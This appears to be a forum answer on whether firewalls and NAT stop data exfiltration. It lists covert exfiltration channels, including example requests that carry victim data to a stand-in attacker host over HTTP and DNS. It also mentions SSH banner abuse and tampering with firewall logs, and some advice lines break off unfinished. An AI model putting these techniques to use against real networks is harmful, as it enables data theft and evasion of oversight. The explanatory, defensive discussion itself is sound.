In my own opinion when it comes to data exfiltration you should approach the situation from two:
- Public facing network (our NAT gateway (including firewall))
- Internal network (internal VLANs, the internal network)
In general NAT gateway (including firewall) will do nothing at all (nada, blank, only IPs and ports.. hooray!) to protect any data as far as the opened (forwarded) ports with their respective services or applications are vulnerable.
If you have in your network a vulnerable application with Remote Code Execution and you expose it to the world then is job done. Is just a mater of time until an attacker with knowledge to the RCE will exfill data from that server and other assets from the internal network (pivoting through the first web server).
Even more an NAT gateway (including firewall) will not protect you from Reverse Shells or other means of data exfiltration from the internal network.
Also in case of a Web Application you do not even want to worry about logs as they would only log access (prohibited or not). Your expose Web Application to the world, thanks and I know that I will look just like a legitimate user when sending the payload as far as I am not sending a lot of requests per second.
In a short answer, In my opinion:
- The best way to detect an attack over an Web Application is to use an
- The best way to detect an attack on something is to use an
- The best way to protect data leakage is to have an DLP and an IDS at
the lvl of network with certain on host or on server appliances.
- The best way to restrict and manage access to your network is to use a firewall.
Some tricky ways to extract data from an internal network or from an internal application servers:
- Over port 0 (yes, it is a port)
- Over web requests (I request attacker.ex/data?=this_is_the_victim_data)
- Over DNS requests (I request this_is_the_victim_data.attacker.ex)
- Over VPNs or proxy (It should be your last option as it can be easily detected)
- Over some public and legitimate services (Web Applications, ftps, ftp etc.)
- By replacing an legitimate services (for example replace the ssh service on a compromised public faced server and extract data through the generally ignored ssh banner)
- Sky is the limit here...
Yes, for: "Also, as the system is already hacked, I could save the Firewall log before transmitting data and restore them after the copy file transaction is complete."
"Is my idea complete crap or is there a clear answer to this?" Is hard to replace a log but was done it before, I have done it before.
Let's not add all the ways you could be not be logged or block by a firewall and keep it for a better day.